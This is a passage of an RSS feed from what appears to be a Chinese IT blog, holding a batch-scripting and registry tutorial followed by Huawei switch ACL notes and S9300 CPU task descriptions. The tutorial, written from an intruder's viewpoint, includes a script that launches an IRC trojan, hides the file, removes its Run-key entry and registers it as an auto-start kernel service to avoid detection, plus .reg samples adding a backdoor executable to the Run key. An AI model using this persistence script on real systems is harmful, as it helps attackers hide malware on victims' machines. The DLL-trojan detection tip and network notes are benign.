&gt;&gt;的区别在于，&gt;会清除调原有文件中的内容后写入指定文件，而&gt;&gt;只会追加内容到指定文件中，而不会改动其中的内容。 <br/>&nbsp;&nbsp;&nbsp;&nbsp;sample1： <br/>&nbsp;&nbsp;&nbsp;&nbsp;echo hello world&gt;c:hello.txt (stupid example?) <br/>&nbsp;&nbsp;&nbsp;&nbsp;sample2: <br/>&nbsp;&nbsp;&nbsp;&nbsp;时下DLL木马盛行，我们知道system32是个捉迷藏的好地方，许多木马都削尖了脑袋往那里钻，DLL马也不例外，针对这一点我们可以在安装好系统和必要的应用程序后，对该目录下的EXE和DLL文件作一个记录：运行CMD--转换目录到system32--dir *.exe&gt;exeback.txt &amp; dir *.dll&gt;dllback.txt, 这样所有的EXE和DLL文件的名称都被分别记录到exeback.txt和dllback.txt中, 日后如发现异常但用传统的方法查不出问题时,则要考虑是不是系统中已经潜入DLL木马了.这时我们用同样的命令将system32下的EXE和DLL文件记录到另外的exeback1.txt和dllback1.txt中,然后运行: CMD--fc exeback.txt exeback1.txt&gt;diff.txt &amp; fc dllback.txt dllback1.txt&gt;diff.txt.(用FC命令比较前后两次的DLL和EXE文件,并将结果输入到diff.txt中),这样我们就能发现一些多出来的DLL和EXE文件,然后通过查看创建时间、版本、是否经过压缩等就能够比较容易地判断出是不是已经被DLL木马光顾了。没有是最好，如果有的话也不要直接DEL掉，先用regsvr32 /u trojan.dll将后门DLL文件注销掉,再把它移到回收站里，若系统没有异常反映再将之彻底删除或者提交给杀毒软件公司。 <br/>3.&lt; 、&gt;&amp; 、&lt;&amp; <br/>&nbsp;&nbsp;&nbsp;&nbsp;&lt; 从文件中而不是从键盘中读入命令输入。 <br/>&nbsp;&nbsp;&nbsp;&nbsp;&gt;&amp; 将一个句柄的输出写入到另一个句柄的输入中。 <br/>&nbsp;&nbsp;&nbsp;&nbsp;&lt;&amp; 从一个句柄读取输入并将其写入到另一个句柄输出中。 <br/>&nbsp;&nbsp;&nbsp;&nbsp;这些并不常用，也就不多做介绍。 <br/><br/>五.如何用批处理文件来操作注册表 <br/>&nbsp;&nbsp;&nbsp;&nbsp;在入侵过程中经常回操作注册表的特定的键值来实现一定的目的，例如:为了达到隐藏后门、木马程序而删除Run下残余的键值。或者创建一个服务用以加载后门。当然我们也会修改注册表来加固系统或者改变系统的某个属性，这些都需要我们对注册表操作有一定的了解。下面我们就先学习一下如何使用.REG文件来操作注册表.(我们可以用批处理来生成一个REG文件) 关于注册表的操作，常见的是创建、修改、删除。 <br/>1.创建 <br/>&nbsp;&nbsp;&nbsp;&nbsp;创建分为两种，一种是创建子项(Subkey) <br/>&nbsp;&nbsp;&nbsp;&nbsp;<br/>&nbsp;&nbsp;&nbsp;&nbsp;我们创建一个文件，内容如下： <br/>&nbsp;&nbsp;&nbsp;&nbsp;<br/>&nbsp;&nbsp;&nbsp;&nbsp;Windows Registry Editor Version 5.00 <br/>&nbsp;&nbsp;&nbsp;&nbsp;[HKEY_LOCAL_MACHINESOFTWAREMicrosofthacker] <br/>&nbsp;&nbsp;&nbsp;&nbsp;<br/>&nbsp;&nbsp;&nbsp;&nbsp;然后执行该脚本，你就已经在HKEY_LOCAL_MACHINESOFTWAREMicrosoft下创建了一个名字为“hacker”的子项。 <br/>&nbsp;&nbsp;&nbsp;&nbsp;另一种是创建一个项目名称 <br/>&nbsp;&nbsp;&nbsp;&nbsp;那这种文件格式就是典型的文件格式，和你从注册表中导出的文件格式一致，内容如下： <br/>&nbsp;&nbsp;&nbsp;&nbsp;Windows Registry Editor Version 5.00 <br/>&nbsp;&nbsp;&nbsp;&nbsp;[HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun] <br/>&nbsp;&nbsp;&nbsp;&nbsp;&#34;Invader&#34;=&#34;Ex4rch&#34; <br/>&nbsp;&nbsp;&nbsp;&nbsp;&#34;Door&#34;=C:WINNTsystem32door.exe <br/>&nbsp;&nbsp;&nbsp;&nbsp;&#34;Autodos&#34;=dword:02 <br/>&nbsp;&nbsp;&nbsp;&nbsp;这样就在[HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun]下 <br/>&nbsp;&nbsp;&nbsp;&nbsp;新建了:Invader、door、about这三个项目 <br/>&nbsp;&nbsp;&nbsp;&nbsp;Invader的类型是“String value” <br/>&nbsp;&nbsp;&nbsp;&nbsp;door的类型是“REG SZ value” <br/>&nbsp;&nbsp;&nbsp;&nbsp;Autodos的类型是“DWORD value” <br/><br/>2.修改 <br/>&nbsp;&nbsp;&nbsp;&nbsp;修改相对来说比较简单，只要把你需要修改的项目导出，然后用记事本进行修改，然后导入（regedit /s）即可。 <br/>3.删除 <br/>&nbsp;&nbsp;&nbsp;&nbsp;我们首先来说说删除一个项目名称，我们创建一个如下的文件： <br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;Windows Registry Editor Version 5.00 <br/>&nbsp;&nbsp;&nbsp;&nbsp;[HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun] <br/>&nbsp;&nbsp;&nbsp;&nbsp;&#34;Ex4rch&#34;=- <br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;执行该脚本，[HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun]下的&#34;Ex4rch&#34;就被删除了； <br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;我们再看看删除一个子项，我们创建一个如下的脚本： <br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;Windows Registry Editor Version 5.00 <br/>&nbsp;&nbsp;&nbsp;&nbsp;[-HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun] <br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;执行该脚本，[HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun]就已经被删除了。 <br/>&nbsp;&nbsp;&nbsp;&nbsp;相信看到这里，.reg文件你基本已经掌握了。那么现在的目标就是用批处理来创建特定内容的.reg文件了，记得我们前面说道的利用重定向符号可以很容易地创建特定类型的文件。 <br/>&nbsp;&nbsp;&nbsp;&nbsp;samlpe1:如上面的那个例子,如想生成如下注册表文件 <br/>&nbsp;&nbsp;&nbsp;&nbsp;Windows Registry Editor Version 5.00 <br/>&nbsp;&nbsp;&nbsp;&nbsp;<br/>&nbsp;&nbsp;&nbsp;&nbsp;[HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun] <br/>&nbsp;&nbsp;&nbsp;&nbsp;&#34;Invader&#34;=&#34;Ex4rch&#34; <br/>&nbsp;&nbsp;&nbsp;&nbsp;&#34;door&#34;=hex:255 <br/>&nbsp;&nbsp;&nbsp;&nbsp;&#34;Autodos&#34;=dword:000000128 <br/>&nbsp;&nbsp;&nbsp;&nbsp;只需要这样： <br/>&nbsp;&nbsp;&nbsp;&nbsp;@echo Windows Registry Editor Version 5.00&gt;&gt;Sample.reg <br/>&nbsp;&nbsp;&nbsp;&nbsp;<br/>&nbsp;&nbsp;&nbsp;&nbsp;@echo [HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun]&gt;Sample.reg <br/>&nbsp;&nbsp;&nbsp;&nbsp;@echo &#34;Invader&#34;=&#34;Ex4rch&#34;&gt;&gt;Sample.reg <br/>&nbsp;&nbsp;&nbsp;&nbsp;@echo &#34;door&#34;=5&gt;&gt;C:WINNTsystem32door.exe&gt;&gt;Sample.reg <br/>&nbsp;&nbsp;&nbsp;&nbsp;@echo &#34;Autodos&#34;=dword:02&gt;&gt;Sample.reg <br/><br/>samlpe2: <br/>&nbsp;&nbsp;&nbsp;&nbsp;我们现在在使用一些比较老的木马时,可能会在注册表的[HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun(Runonce、Runservices、Runexec)]下生成一个键值用来实现木马的自启动.但是这样很容易暴露木马程序的路径,从而导致木马被查杀,相对地若是将木马程序注册为系统服务则相对安全一些.下面以配置好地IRC木马DSNX为例(名为windrv32.exe) <br/>&nbsp;&nbsp;&nbsp;&nbsp;@start windrv32.exe <br/>&nbsp;&nbsp;&nbsp;&nbsp;@attrib +h +r windrv32.exe <br/>&nbsp;&nbsp;&nbsp;&nbsp;@echo [HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun] &gt;&gt;patch.dll <br/>&nbsp;&nbsp;&nbsp;&nbsp;@echo &#34;windsnx &#34;=- &gt;&gt;patch.dll <br/>&nbsp;&nbsp;&nbsp;&nbsp;@sc.exe cr&#101;ate Windriversrv type= kernel start= auto displayname= WindowsDriver binpath= c:winntsystem32windrv32.exe <br/>&nbsp;&nbsp;&nbsp;&nbsp;@regedit /s patch.dll <br/>&nbsp;&nbsp;&nbsp;&nbsp;@del&#101;te patch.dll <br/>&nbsp;&nbsp;&nbsp;&nbsp;<br/>&nbsp;&nbsp;&nbsp;&nbsp;@REM [删除DSNXDE在注册表中的启动项，用sc.exe将之注册为系统关键性服务的同时将其属性设为隐藏和只读，并config为自启动] <br/>&nbsp;&nbsp;&nbsp;&nbsp;@REM 这样不是更安全^_^.<br/><br/><br/>{choice实际上是一个外部命令,它一般位于<br/>%systemroot%\system32目录下,全名是choice.exe,因此所谓失效可能是在win2000<br/>中默认没有此文件,但是一般拷贝一个其它系统中的choice.exe过去就可以了.<br/>在win2003中存在此命令.}]]></description>
		</item>
		
			<item>
			<link>http://www.idcnote.com/default.asp?id=65</link>
			<title><![CDATA[华为6506R交换机的手工ACL写法]]></title>
			<author>wentaiyou@126.com(kevin)</author>
			<category><![CDATA[NetWork]]></category>
			<pubDate>Sat,19 Jun 2010 14:25:48 +0800</pubDate>
			<guid>http://www.idcnote.com/default.asp?id=65</guid>	
		<description><![CDATA[&lt;6506&gt;dis device <br/>S6506&nbsp;&nbsp;Salience III <br/> Slot No.&nbsp;&nbsp;Brd Type&nbsp;&nbsp;&nbsp;&nbsp;Brd Status&nbsp;&nbsp; Subslot Num&nbsp;&nbsp;&nbsp;&nbsp;Sft Ver&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Patch Ver<br/> 0&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; LS81SRPG&nbsp;&nbsp;&nbsp;&nbsp;Normal&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;S6506-3135&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;None&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br/> 1&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; NONE&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Absent&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Absent&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; None&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;None<br/> 2&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; LS81GT48&nbsp;&nbsp;&nbsp;&nbsp;Normal&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;S6506-3135&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;None&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br/> 3&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; NONE&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Absent&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Absent&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; None&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;None<br/> 4&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; NONE&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Absent&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Absent&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; None&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;None<br/> 5&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; LS81GP48&nbsp;&nbsp;&nbsp;&nbsp;Normal&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;S6506-3135&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;None&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br/> 6&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; NONE&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Absent&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Absent&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; None&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;None<br/><br/><br/>&lt;6506&gt;dis version <br/>Huawei Versatile Routing Platform Software<br/>VRP software, Version 3.10, Release 3135<br/>Copyright (c) 1998-2007 Huawei Technologies Co.,Ltd. All rights reserved.<br/>Quidway S6506 uptime is 0 weeks, 2 days, 20 hours, 58 minutes<br/><br/><br/>SRPG 0:&nbsp;&nbsp;uptime is 0 weeks,2 days,20 hours,58 minutes<br/>QuidwayS6500 with 1 MPC8245 Processor<br/>256M&nbsp;&nbsp;&nbsp;&nbsp;bytes SDRAM<br/>32768K&nbsp;&nbsp;bytes Flash Memory<br/>512K&nbsp;&nbsp;&nbsp;&nbsp;bytes NVRAM Memory<br/>PCB Version&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;:&nbsp;&nbsp; VER.C<br/>BootROM Version&nbsp;&nbsp;:&nbsp;&nbsp; 522<br/>CPLD Version&nbsp;&nbsp;&nbsp;&nbsp; :&nbsp;&nbsp; 004<br/>Second CPLD Ver&nbsp;&nbsp;:&nbsp;&nbsp; 005<br/>Software Version :&nbsp;&nbsp; S6506-3135<br/>Patch Version&nbsp;&nbsp;&nbsp;&nbsp;:&nbsp;&nbsp; None<br/><br/>LPU 2:&nbsp;&nbsp;uptime is 0 weeks,2 days,18 hours,37 minutes<br/>QuidwayS6500 LPU with 1 MPC8241 Processor<br/>128M&nbsp;&nbsp;&nbsp;&nbsp;bytes SDRAM<br/>0K&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;bytes Flash Memory<br/>0K&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;bytes NVRAM Memory&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br/>PCB Version&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;:&nbsp;&nbsp; VER.B<br/>BootROM Version&nbsp;&nbsp;:&nbsp;&nbsp; 531<br/>CPLD Version&nbsp;&nbsp;&nbsp;&nbsp; :&nbsp;&nbsp; 005<br/>Software Version :&nbsp;&nbsp; S6506-3135<br/>Patch Version&nbsp;&nbsp;&nbsp;&nbsp;:&nbsp;&nbsp; None<br/><br/>LPU 5:&nbsp;&nbsp;uptime is 0 weeks,2 days,18 hours,27 minutes<br/>QuidwayS6500 LPU with 1 MPC8245 Processor<br/>256M&nbsp;&nbsp;&nbsp;&nbsp;bytes SDRAM<br/>32768K&nbsp;&nbsp;bytes Flash Memory<br/>0K&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;bytes NVRAM Memory<br/>PCB Version&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;:&nbsp;&nbsp; VER.C<br/>BootROM Version&nbsp;&nbsp;:&nbsp;&nbsp; 532<br/>CPLD Version&nbsp;&nbsp;&nbsp;&nbsp; :&nbsp;&nbsp; 006<br/>Second CPLD Ver&nbsp;&nbsp;:&nbsp;&nbsp; 006<br/>Software Version :&nbsp;&nbsp; S6506-3135<br/>Patch Version&nbsp;&nbsp;&nbsp;&nbsp;:&nbsp;&nbsp; None<br/><br/><br/>以上为板本为设备信息.<br/>在创建ACL时为5000-5999<br/>包对应情况如下:<br/>AA AA AA BB BB BB CC CC DD DD DD DD<br/>EF HH II&nbsp;&nbsp;II<br/>JJ&nbsp;&nbsp;JJ&nbsp;&nbsp; KK KK<br/>LL MM NN NN<br/>OO OO OO OO<br/>PP PP PP PP<br/><br/>A-&gt;目的MAC<br/>B-&gt;源MAC<br/>C-&gt;数据类型<br/>D-&gt;VLAN<br/>下面是IP包头<br/>rule 0 deny 0100 ffff 22 11 ff 27 为拒绝ID为256的UDP包]]></description>
		</item>
		
			<item>
			<link>http://www.idcnote.com/default.asp?id=64</link>
			<title><![CDATA[S9300交换机CPU进程任务说明 ]]></title>
			<author>wentaiyou@126.com(kevin)</author>
			<category><![CDATA[NetWork]]></category>
			<pubDate>Fri,04 Jun 2010 11:34:56 +0800</pubDate>
			<guid>http://www.idcnote.com/default.asp?id=64</guid>	
		<description><![CDATA[BUFM&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0%&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0/&nbsp;&nbsp; 2599c&nbsp;&nbsp;调试相关<br/>VIDL&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;95%&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 6/a6a367bb&nbsp;&nbsp;空闲任务，这个任务占用率越高，CPU越空闲。<br/>TICK&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0%&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0/ 4626774&nbsp;&nbsp;定时器相关<br/>co0&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0%&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0/&nbsp;&nbsp;1fd656&nbsp;&nbsp;串口服务<br/>IPCR&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0%&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0/&nbsp;&nbsp;82bc1b&nbsp;&nbsp;内部通讯相关<br/>VPR&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0%&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0/&nbsp;&nbsp;d2e9a7&nbsp;&nbsp;内部通讯相关<br/>VPS&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0%&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0/&nbsp;&nbsp;14f5ff&nbsp;&nbsp;内部通讯相关<br/>Ecm&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0%&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0/&nbsp;&nbsp;c33122&nbsp;&nbsp;内部通讯相关&nbsp;&nbsp;<br/>RTMR&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0%&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0/ 431e350&nbsp;&nbsp;定时器相关<br/>IPCQ&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0%&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0/&nbsp;&nbsp;4b71db&nbsp;&nbsp;内部通讯相关<br/>&nbsp;&nbsp;VP&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0%&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0/&nbsp;&nbsp;&nbsp;&nbsp;237f&nbsp;&nbsp;内部通讯相关<br/>RPCQ&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0%&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0/&nbsp;&nbsp;13b4ad&nbsp;&nbsp;内部通讯相关<br/>BEAT&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0%&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0/&nbsp;&nbsp;2a6146&nbsp;&nbsp;系统监控相关&nbsp;&nbsp;<br/>VMON&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0%&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0/&nbsp;&nbsp; 760e8&nbsp;&nbsp;系统监控相关<br/>VRRP&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0%&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0/&nbsp;&nbsp;5dc925&nbsp;&nbsp;VRRP相关&nbsp;&nbsp;<br/>INFO&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0%&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0/ 44deab1&nbsp;&nbsp;信息中心<br/>LCS&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0%&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0/&nbsp;&nbsp;980a4b&nbsp;&nbsp;license<br/>CDEV&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0%&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0/&nbsp;&nbsp;385a40&nbsp;&nbsp;设备管理相关<br/>DFSU&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0%&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0/ 1beefd5&nbsp;&nbsp;灵活插卡<br/>DSMS&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0%&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0/&nbsp;&nbsp; 36fa0&nbsp;&nbsp;内部通讯相关<br/>PPI&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0%&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0/&nbsp;&nbsp;130bd0&nbsp;&nbsp;二层接口相关<br/>L2IF&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0%&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0/ 34fdf6c&nbsp;&nbsp;二层接口相关<br/>MFLP&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0%&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0/&nbsp;&nbsp; 5c02b&nbsp;&nbsp;不用关心<br/>LLDP&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0%&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0/&nbsp;&nbsp; 55fba&nbsp;&nbsp;LLDP协议相关<br/>APS&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0%&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0/&nbsp;&nbsp;2e6748&nbsp;&nbsp;系统相关&nbsp;&nbsp;<br/>FIB6&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0%&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0/&nbsp;&nbsp;f64346&nbsp;&nbsp;IPV6相关<br/>BFD&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0%&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0/&nbsp;&nbsp;744819&nbsp;&nbsp;BFD协议<br/>ROUT&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0%&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0/ d01a028&nbsp;&nbsp;路由相关<br/>OAM&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 